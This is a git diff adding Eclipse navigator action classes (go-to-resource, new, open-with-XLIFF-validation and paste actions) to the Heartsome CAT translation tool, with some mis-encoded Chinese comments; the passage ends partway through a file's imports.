a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoActionProvider.java new file mode 100644 index 0000000..28c80cc --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoActionProvider.java @@ -0,0 +1,46 @@ +/******************************************************************************* + * Copyright (c) 2006, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Oakland Software (Francis Upton - francisu@ieee.org) + * bug 214271 Undo/redo not enabled if nothing selected + ******************************************************************************/ + +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IWorkbenchActionConstants; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.CommonViewer; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; + +/** + * @since 3.3 + * + */ +public class GotoActionProvider extends CommonActionProvider { + + private GotoResourceAction gotoAction; + + /* + * (non-Javadoc) + * + * @see org.eclipse.ui.navigator.CommonActionProvider#init(org.eclipse.ui.navigator.ICommonActionExtensionSite) + */ + public void init(ICommonActionExtensionSite anActionSite) { + gotoAction = new GotoResourceAction(anActionSite.getViewSite().getShell(), (CommonViewer)anActionSite.getStructuredViewer()); + } + + + public void fillActionBars(IActionBars actionBars) { + actionBars.setGlobalActionHandler( + IWorkbenchActionConstants.GO_TO_RESOURCE, gotoAction); + updateActionBars(); + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceAction.java new file mode 100644 index 0000000..87fb857 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceAction.java @@ -0,0 +1,61 @@ +/******************************************************************************* + * Copyright (c) 2000, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.navigator.INavigatorHelpContextIds; + +/** + * Implements the go to resource action. Opens a dialog and set the navigator + * selection with the resource selected by the user. + */ +public class GotoResourceAction extends Action { + + protected Shell shell; + + protected TreeViewer viewer; + + /** + * @param shell + * @param viewer + */ + public GotoResourceAction(Shell shell, TreeViewer viewer) { + this.shell = shell; + this.viewer = viewer; + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, + INavigatorHelpContextIds.GOTO_RESOURCE_ACTION); + } + + /** + * Collect all resources in the workbench open a dialog asking the user to + * select a resource and change the selection in the navigator. + */ + public void run() { + GotoResourceDialog dialog = new GotoResourceDialog(shell, + ResourcesPlugin.getWorkspace().getRoot(), IResource.FILE + | IResource.FOLDER | IResource.PROJECT); + dialog.open(); + Object[] result = dialog.getResult(); + if (result == null || result.length == 0 + || result[0] instanceof IResource == false) { + return; + } + + IResource selection = (IResource) result[0]; + viewer.setSelection(new StructuredSelection(selection), true); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceDialog.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceDialog.java new file mode 100644 index 0000000..2facfac --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/GotoResourceDialog.java @@ -0,0 +1,37 @@ +/******************************************************************************* + * Copyright (c) 2000, 2009 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.dialogs.FilteredResourcesSelectionDialog; +import org.eclipse.ui.internal.navigator.INavigatorHelpContextIds; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; + +/** + * Shows a list of resources to the user with a text entry field for a string + * pattern used to filter the list of resources. + * + */ +/* package */class GotoResourceDialog extends FilteredResourcesSelectionDialog { + + /** + * Creates a new instance of the class. + */ + protected GotoResourceDialog(Shell parentShell, IContainer container, + int typesMask) { + super(parentShell, false, container, typesMask); + setTitle(WorkbenchNavigatorMessages.actions_GotoResourceDialog_GoToTitle); + PlatformUI.getWorkbench().getHelpSystem().setHelp(parentShell, + INavigatorHelpContextIds.GOTO_RESOURCE_DIALOG); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/NewActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/NewActionProvider.java new file mode 100644 index 0000000..7b4a4d2 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/NewActionProvider.java @@ -0,0 +1,114 @@ +/******************************************************************************* + * Copyright (c) 2005, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.ICommonMenuConstants; +import org.eclipse.ui.navigator.ICommonViewerWorkbenchSite; +import org.eclipse.ui.navigator.WizardActionGroup; +import org.eclipse.ui.wizards.IWizardCategory; +import org.eclipse.ui.wizards.IWizardRegistry; + +/** + * Provides the new (artifact creation) menu options for a context menu. + * + *

    + * The added submenu has the following structure + *

    + * + *
      + *
    • a new generic project wizard shortcut action,
    • + *
    • a separator,
    • + *
    • a set of context senstive wizard shortcuts (as defined by + * org.eclipse.ui.navigator.commonWizard),
    • + *
    • another separator,
    • + *
    • a generic examples wizard shortcut action, and finally
    • + *
    • a generic "Other" new wizard shortcut action
    • + *
    + * + * @since 3.2 + * + */ +public class NewActionProvider extends CommonActionProvider { + + private static final String FULL_EXAMPLES_WIZARD_CATEGORY = "org.eclipse.ui.Examples"; //$NON-NLS-1$ + + private static final String NEW_MENU_NAME = "common.new.menu";//$NON-NLS-1$ + + private ActionFactory.IWorkbenchAction showDlgAction; + + private IAction newProjectAction; + + private IAction newExampleAction; + + private WizardActionGroup newWizardActionGroup; + + private boolean contribute = false; + + public void init(ICommonActionExtensionSite anExtensionSite) { + + if (anExtensionSite.getViewSite() instanceof ICommonViewerWorkbenchSite) { + IWorkbenchWindow window = ((ICommonViewerWorkbenchSite) anExtensionSite.getViewSite()).getWorkbenchWindow(); + showDlgAction = ActionFactory.NEW_WIZARD_DROP_DOWN.create(window); + showDlgAction.setText(WorkbenchNavigatorMessages.actions_NewActionProvider_NewMenu_label); + contribute = true; + } + } + + /** + * Adds a submenu to the given menu with the name "group.new" see + * {@link ICommonMenuConstants#GROUP_NEW}). The submenu contains the following structure: + * + *
      + *
    • a new generic project wizard shortcut action,
    • + *
    • a separator,
    • + *
    • a set of context senstive wizard shortcuts (as defined by + * org.eclipse.ui.navigator.commonWizard),
    • + *
    • another separator,
    • + *
    • a generic examples wizard shortcut action, and finally
    • + *
    • a generic "Other" new wizard shortcut action
    • + *
    + */ + public void fillContextMenu(IMenuManager menu) { + // append the submenu after the GROUP_NEW group. + menu.insertAfter(ICommonMenuConstants.GROUP_NEW, showDlgAction); + } + + /** + * Return whether or not any examples are in the current install. + * + * @return True if there exists a full examples wizard category. + */ + private boolean hasExamples() { + IWizardRegistry newRegistry = PlatformUI.getWorkbench().getNewWizardRegistry(); + IWizardCategory category = newRegistry.findCategory(FULL_EXAMPLES_WIZARD_CATEGORY); + return category != null; + + } + + /* (non-Javadoc) + * @see org.eclipse.ui.actions.ActionGroup#dispose() + */ + public void dispose() { + if (showDlgAction!=null) { + showDlgAction.dispose(); + showDlgAction = null; + } + super.dispose(); + } +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenActionProvider.java new file mode 100644 index 0000000..149fe2f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenActionProvider.java @@ -0,0 +1,111 @@ +/******************************************************************************* + * Copyright (c) 2005, 2010 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * mark.melvin@onsemi.com - bug 288997 [CommonNavigator] Double-clicking an adapted resource in + * Common Navigator does not open underlying IFile + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionConstants; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import org.eclipse.ui.navigator.ICommonMenuConstants; +import org.eclipse.ui.navigator.ICommonViewerWorkbenchSite; + +/** + * Provides the open and open with menus for IResources. + * @since 3.2 + */ +public class OpenActionProvider extends CommonActionProvider { + + private OpenFileWithValidAction openFileAction; + + private ICommonViewerWorkbenchSite viewSite = null; + + private boolean contribute = false; + + public void init(ICommonActionExtensionSite aConfig) { + if (aConfig.getViewSite() instanceof ICommonViewerWorkbenchSite) { + viewSite = (ICommonViewerWorkbenchSite) aConfig.getViewSite(); + openFileAction = new OpenFileWithValidAction(viewSite.getPage()); + openFileAction.setText(WorkbenchNavigatorMessages.actions_OpenActionProvider_openFileAction); + contribute = true; + } + } + + public void fillContextMenu(IMenuManager aMenu) { + if (!contribute || getContext().getSelection().isEmpty()) { + return; + } + + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + + openFileAction.selectionChanged(selection); + if (openFileAction.isEnabled()) { + aMenu.insertAfter(ICommonMenuConstants.GROUP_OPEN, openFileAction); + } +// addOpenWithMenu(aMenu); + } + + public void fillActionBars(IActionBars theActionBars) { + if (!contribute) { + return; + } + IStructuredSelection selection = (IStructuredSelection) getContext().getSelection(); + if (selection.size() == 1 && selection.getFirstElement() instanceof IFile) { + openFileAction.selectionChanged(selection); + theActionBars.setGlobalActionHandler(ICommonActionConstants.OPEN, openFileAction); + } + + } + +// private void addOpenWithMenu(IMenuManager aMenu) { +// IStructuredSelection ss = (IStructuredSelection) getContext().getSelection(); +// +// if (ss == null || ss.size() != 1) { +// return; +// } +// +// Object o = ss.getFirstElement(); +// +// // first try IResource +// IAdaptable openable = (IAdaptable) AdaptabilityUtility.getAdapter(o, IResource.class); +// // otherwise try ResourceMapping +// if (openable == null) { +// openable = (IAdaptable) AdaptabilityUtility.getAdapter(o, ResourceMapping.class); +// } else if (((IResource) openable).getType() != IResource.FILE) { +// openable = null; +// } +// +// if (openable != null) { +// // Create a menu flyout. +// +// IMenuManager submenu = new MenuManager(WorkbenchNavigatorMessages.actions_OpenActionProvider_OpenWithMenu_label, +// ICommonMenuConstants.GROUP_OPEN_WITH); +// /* +// * IMenuManager submenu = new MenuManager(Messages.getString("actions.OpenActionProvider.submenu"), +// * ICommonMenuConstants.GROUP_OPEN_WITH); +// */ +// submenu.add(new GroupMarker(ICommonMenuConstants.GROUP_TOP)); +// submenu.add(new OpenWithMenu(viewSite.getPage(), openable)); +// submenu.add(new GroupMarker(ICommonMenuConstants.GROUP_ADDITIONS)); +// +// // Add the submenu. +// if (submenu.getItems().length > 2 && submenu.isEnabled()) { +// aMenu.appendToGroup(ICommonMenuConstants.GROUP_OPEN_WITH, submenu); +// } +// } +// } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenFileWithValidAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenFileWithValidAction.java new file mode 100644 index 0000000..a98cd88 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/OpenFileWithValidAction.java @@ -0,0 +1,217 @@ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.io.File; +import java.text.MessageFormat; +import java.util.Iterator; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.util.CommonFunction; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.util.OpenStrategy; +import org.eclipse.swt.program.Program; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IFileEditorInput; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.OpenSystemEditorAction; +import org.eclipse.ui.ide.IDE; +import org.eclipse.ui.internal.ide.DialogUtil; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IIDEHelpContextIds; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.part.FileEditorInput; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * 打开xliff文件,并且验è¯ï¼Œè¯¥ç±»å‚ç…§OpenFileActionæ¥å†™çš„,并代替OpenFileAction。 + * @author robert 2012-06-07 + */ +@SuppressWarnings("restriction") +public class OpenFileWithValidAction extends OpenSystemEditorAction { + + private IWorkbenchPage page; + /** + * The id of this action. + */ + public static final String ID = PlatformUI.PLUGIN_ID + ".OpenFileWithValidAction";//$NON-NLS-1$ + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + /** + * The editor to open. + */ + private IEditorDescriptor editorDescriptor; + + /** + * Creates a new action that will open editors on the then-selected file resources. Equivalent to + * OpenFileAction(page,null). + * @param page + * the workbench page in which to open the editor + */ + public OpenFileWithValidAction(IWorkbenchPage page) { + this(page, null); + this.page = page; + } + + /** + * Creates a new action that will open instances of the specified editor on the then-selected file resources. + * @param page + * the workbench page in which to open the editor + * @param descriptor + * the editor descriptor, or null if unspecified + */ + public OpenFileWithValidAction(IWorkbenchPage page, IEditorDescriptor descriptor) { + super(page); + setText(descriptor == null ? IDEWorkbenchMessages.OpenFileAction_text : descriptor.getLabel()); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.OPEN_FILE_ACTION); + setToolTipText(IDEWorkbenchMessages.OpenFileAction_toolTip); + setId(ID); + this.editorDescriptor = descriptor; + } + + /** + * Ensures that the contents of the given file resource are local. + * @param file + * the file resource + * @return true if the file is local, and false if it could not be made local for some + * reason + */ + boolean ensureFileLocal(final IFile file) { + // Currently fails due to Core PR. Don't do it for now + // 1G5I6PV: ITPCORE:WINNT - IResource.setLocal() attempts to modify immutable tree + // file.setLocal(true, IResource.DEPTH_ZERO); + return true; + } + + @SuppressWarnings("rawtypes") + @Override + public void run() { + try { + XLFValidator.resetFlag(); + Iterator itr = getSelectedResources().iterator(); + while (itr.hasNext()) { + IResource resource = (IResource) itr.next(); + if (resource instanceof IFile) { + openFile1((IFile) resource); + } + } + XLFValidator.resetFlag(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * Opens an editor on the given file resource. + * @param file + * the file resource + */ + void openFile1(IFile file) throws Exception{ + try { + boolean activate = OpenStrategy.activateOnOpen(); + if (editorDescriptor == null) { + // 如果是nattble打开的,就验è¯å…¶æ˜¯å¦å·²ç»è¢«æ‰“å¼€ + if (!validIsopened(file)) { + return; + } + String filePath = file.getFullPath().toOSString(); + // Bug #2519 + if (CommonFunction.validXlfExtensionByFileName(file.getName()) + || (filePath.startsWith(File.separator + file.getProject().getName() + File.separator + + "Intermediate" + File.separator + "Report") && file.getName().endsWith(".html"))) { + // 之å‰çš„è¿™å—éªŒè¯ xliff 文件的代ç æ˜¯æ”¾åœ¨ nattable 打开时,现在改为在调用 nattable æ‰“å¼€ä¹‹å‰ + // html 是ä¸ä¼šéªŒè¯è·¯å¾„çš„ + if (!file.getFullPath().getFileExtension().equals("html")) { + if (XLFValidator.validateXliffFile(file)) { + IDE.openEditor(page, file, activate); + } + }else { + IDE.openEditor(page, file, activate); + } + } else { + boolean openReult = Program.launch(file.getLocation().toOSString()); + if (!openReult) { + MessageDialog.openWarning(page.getWorkbenchWindow().getShell(), WorkbenchNavigatorMessages.navigator_all_dialog_warning, + MessageFormat.format(WorkbenchNavigatorMessages.actions_OpenFileWithValidAction_notFindProgram, new Object[]{file.getLocation().getFileExtension()})); + } + } + } else { + if (ensureFileLocal(file)) { + if (!file.getFullPath().getFileExtension().equals("html")) { + if (XLFValidator.validateXliffFile(file)) { + page.openEditor(new FileEditorInput(file), editorDescriptor.getId(), activate); + } + }else { + page.openEditor(new FileEditorInput(file), editorDescriptor.getId(), activate); + } + } + } + } catch (PartInitException e) { + DialogUtil.openError(page.getWorkbenchWindow().getShell(), + IDEWorkbenchMessages.OpenFileAction_openFileShellTitle, e.getMessage(), e); + } + } + + /** + * 验è¯æ˜¯å¦å·²ç»è¢«æ‰“å¼€ + * @param iFile + * @return 如果当å‰è¦æ‰“开的文件未被打开,那么验è¯é€šè¿‡ï¼Œè¿”回true,å¦åˆ™è¿”回false。 + */ + private boolean validIsopened(IFile iFile) throws Exception{ + String extention = iFile.getFileExtension(); + + if (IDE.getDefaultEditor(iFile, true) != null + && XLIFF_EDITOR_ID.equals(IDE.getDefaultEditor(iFile, true).getId()) + && CommonFunction.validXlfExtension(extention)) { + IEditorReference[] editorRes = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .getEditorReferences(); + IEditorPart editor = null; + IFile openIFile = null; + String needOpenIfileLc = iFile.getLocation().toOSString(); + for (int i = 0; i < editorRes.length; i++) { + if (editorRes[i].getId().equals(XLIFF_EDITOR_ID)) { + // 备注:这里的两行代ç å·²ç»è¢«æ³¨é‡Šäº†ï¼ŒåŽŸå› æ˜¯å› ä¸º getEditor 方法会让æ¯ä¸€ä¸ª editor 都åˆå§‹ä¸€æ¬¡ï¼Œè¿™å¹¶ä¸æ˜¯æœ¬æ¬¡éœ€æ±‚所è¦çš„。注æ„。 2013-01-04 + //editor = editorRes[i].getEditor(true); + //openIFile = ((IFileEditorInput) editor.getEditorInput()).getFile(); + openIFile = ((IFileEditorInput) editorRes[i].getEditorInput()).getFile(); + // 判断是å¦æ˜¯åˆå¹¶æ‰“开,åŽç¼€å为xlp为åˆå¹¶æ‰“开,åŽç¼€å为xlf为å•ä¸€æ‰“å¼€ + if ("xlp".equals(openIFile.getFileExtension())) { + // 开始解æžè¿™ä¸ªåˆå¹¶æ‰“开临时文件,获å–åˆå¹¶æ‰“开的文件。 + VTDGen vg = new VTDGen(); + if (vg.parseFile(openIFile.getLocation().toOSString(), true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/mergerFiles/mergerFile/@filePath"); + int index = -1; + while ((index = ap.evalXPath()) != -1) { + String fileLC = vn.toString(index + 1); + if (fileLC != null && !"".equals(fileLC)) { + if (fileLC.equals(needOpenIfileLc)) { + editor = editorRes[i].getEditor(true); + page.activate(editor); + return false; + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } else { + return false; + } + } + } + } + } + return true; + } + +} diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PasteAction.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PasteAction.java new file mode 100644 index 0000000..7e2d714 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PasteAction.java @@ -0,0 +1,263 @@ +/******************************************************************************* + * Copyright (c) 2000, 2008 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.util.List; + +import org.eclipse.core.resources.IContainer; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.FileTransfer; +import org.eclipse.swt.dnd.TransferData; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.CopyFilesAndFoldersOperation; +import org.eclipse.ui.actions.CopyProjectOperation; +import org.eclipse.ui.actions.SelectionListenerAction; +import org.eclipse.ui.part.ResourceTransfer; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; + +/** + * Standard action for pasting resources on the clipboard to the selected resource's location. + *

    + * This class may be instantiated; it is not intended to be subclassed. + *

    + * + * @since 2.0 + */ +/*package*/class PasteAction extends SelectionListenerAction { + + /** + * The id of this action. + */ + public static final String ID = PlatformUI.PLUGIN_ID + ".PasteAction";//$NON-NLS-1$ + + /** + * The shell in which to show any dialogs. + */ + private Shell shell; + + /** + * System clipboard + */ + private Clipboard clipboard; + + /** + * Creates a new action. + * + * @param shell the shell for any dialogs + * @param clipboard the clipboard + */ + public PasteAction(Shell shell, Clipboard clipboard) { + super(WorkbenchNavigatorMessages.actions_PasteAction_Past_); + Assert.isNotNull(shell); + Assert.isNotNull(clipboard); + this.shell = shell; + this.clipboard = clipboard; + setToolTipText(WorkbenchNavigatorMessages.actions_PasteAction_Paste_selected_resource_s_); + setId(PasteAction.ID); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, "HelpId"); //$NON-NLS-1$ + // TODO INavigatorHelpContextIds.PASTE_ACTION); + } + + /** + * Returns the actual target of the paste action. Returns null + * if no valid target is selected. + * + * @return the actual target of the paste action + */ + private IResource getTarget() { + List selectedResources = getSelectedResources(); + + for (int i = 0; i < selectedResources.size(); i++) { + IResource resource = (IResource) selectedResources.get(i); + + if (resource instanceof IProject && !((IProject) resource).isOpen()) { + return null; + } + if (resource.getType() == IResource.FILE) { + resource = resource.getParent(); + } + if (resource != null) { + return resource; + } + } + return null; + } + + /** + * Returns whether any of the given resources are linked resources. + * + * @param resources resource to check for linked type. may be null + * @return true=one or more resources are linked. false=none of the + * resources are linked + */ + private boolean isLinked(IResource[] resources) { + for (int i = 0; i < resources.length; i++) { + if (resources[i].isLinked()) { + return true; + } + } + return false; + } + + /** + * Implementation of method defined on IAction. + */ + public void run() { + // try a resource transfer + ResourceTransfer resTransfer = ResourceTransfer.getInstance(); + IResource[] resourceData = (IResource[]) clipboard + .getContents(resTransfer); + + if (resourceData != null && resourceData.length > 0) { + if (resourceData[0].getType() == IResource.PROJECT) { + // enablement checks for all projects + for (int i = 0; i < resourceData.length; i++) { + CopyProjectOperation operation = new CopyProjectOperation( + this.shell); + operation.copyProject((IProject) resourceData[i]); + } + } else { + // enablement should ensure that we always have access to a container + IContainer container = getContainer(); + + CopyFilesAndFoldersOperation operation = new CopyFilesAndFoldersOperation( + this.shell); + operation.copyResources(resourceData, container); + } + return; + } + + // try a file transfer + FileTransfer fileTransfer = FileTransfer.getInstance(); + String[] fileData = (String[]) clipboard.getContents(fileTransfer); + + if (fileData != null) { + // enablement should ensure that we always have access to a container + IContainer container = getContainer(); + + CopyFilesAndFoldersOperation operation = new CopyFilesAndFoldersOperation( + this.shell); + operation.copyFiles(fileData, container); + } + } + + /** + * Returns the container to hold the pasted resources. + */ + private IContainer getContainer() { + List selection = getSelectedResources(); + if (selection.get(0) instanceof IFile) { + return ((IFile) selection.get(0)).getParent(); + } + return (IContainer) selection.get(0); + } + + /** + * The PasteAction implementation of this + * SelectionListenerAction method enables this action if + * a resource compatible with what is on the clipboard is selected. + * + * -Clipboard must have IResource or java.io.File + * -Projects can always be pasted if they are open + * -Workspace folder may not be copied into itself + * -Files and folders may be pasted to a single selected folder in open + * project or multiple selected files in the same folder + */ + protected boolean updateSelection(IStructuredSelection selection) { + if (!super.updateSelection(selection)) { + return false; + } + + final IResource[][] clipboardData = new IResource[1][]; + shell.getDisplay().syncExec(new Runnable() { + public void run() { + // clipboard must have resources or files + ResourceTransfer resTransfer = ResourceTransfer.getInstance(); + clipboardData[0] = (IResource[]) clipboard + .getContents(resTransfer); + } + }); + IResource[] resourceData = clipboardData[0]; + boolean isProjectRes = resourceData != null && resourceData.length > 0 + && resourceData[0].getType() == IResource.PROJECT; + + if (isProjectRes) { + for (int i = 0; i < resourceData.length; i++) { + // make sure all resource data are open projects + // can paste open projects regardless of selection + if (resourceData[i].getType() != IResource.PROJECT + || ((IProject) resourceData[i]).isOpen() == false) { + return false; + } + } + return true; + } + + if (getSelectedNonResources().size() > 0) { + return false; + } + + IResource targetResource = getTarget(); + // targetResource is null if no valid target is selected (e.g., open project) + // or selection is empty + if (targetResource == null) { + return false; + } + + // can paste files and folders to a single selection (file, folder, + // open project) or multiple file selection with the same parent + List selectedResources = getSelectedResources(); + if (selectedResources.size() > 1) { + for (int i = 0; i < selectedResources.size(); i++) { + IResource resource = (IResource) selectedResources.get(i); + if (resource.getType() != IResource.FILE) { + return false; + } + if (!targetResource.equals(resource.getParent())) { + return false; + } + } + } + if (resourceData != null) { + // linked resources can only be pasted into projects + if (isLinked(resourceData) + && targetResource.getType() != IResource.PROJECT + && targetResource.getType() != IResource.FOLDER) { + return false; + } + + if (targetResource.getType() == IResource.FOLDER) { + // don't try to copy folder to self + for (int i = 0; i < resourceData.length; i++) { + if (targetResource.equals(resourceData[i])) { + return false; + } + } + } + return true; + } + TransferData[] transfers = clipboard.getAvailableTypes(); + FileTransfer fileTransfer = FileTransfer.getInstance(); + for (int i = 0; i < transfers.length; i++) { + if (fileTransfer.isSupportedType(transfers[i])) { + return true; + } + } + return false; + } +} + diff --git a/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PortingActionProvider.java b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PortingActionProvider.java new file mode 100644 index 0000000..f469d21 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.ui.navigator.resources/src/org/eclipse/ui/internal/navigator/resources/actions/PortingActionProvider.java @@ -0,0 +1,179 @@ +/******************************************************************************* + * Copyright (c) 2000, 2007 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * IBM Corporation - initial API and implementation + * Sebastian Davids - Collapse all action + * Sebastian Davids - Images for menu items + *******************************************************************************/ +package org.eclipse.ui.internal.navigator.resources.actions; + +import java.net.URL; +import java.util.Collections; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.action.IMenuManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ExportResourcesAction; +import org.eclipse.ui.actions.ImportResourcesAction; +import org.eclipse.ui.internal.navigator.resources.plugin.WorkbenchNavigatorPlugin; +import org.eclipse.ui.internal.navigator.resources.resource.WorkbenchNavigatorMessages; +import org.eclipse.ui.navigator.CommonActionProvider; +import org.eclipse.ui.navigator.ICommonActionExtensionSite; +import 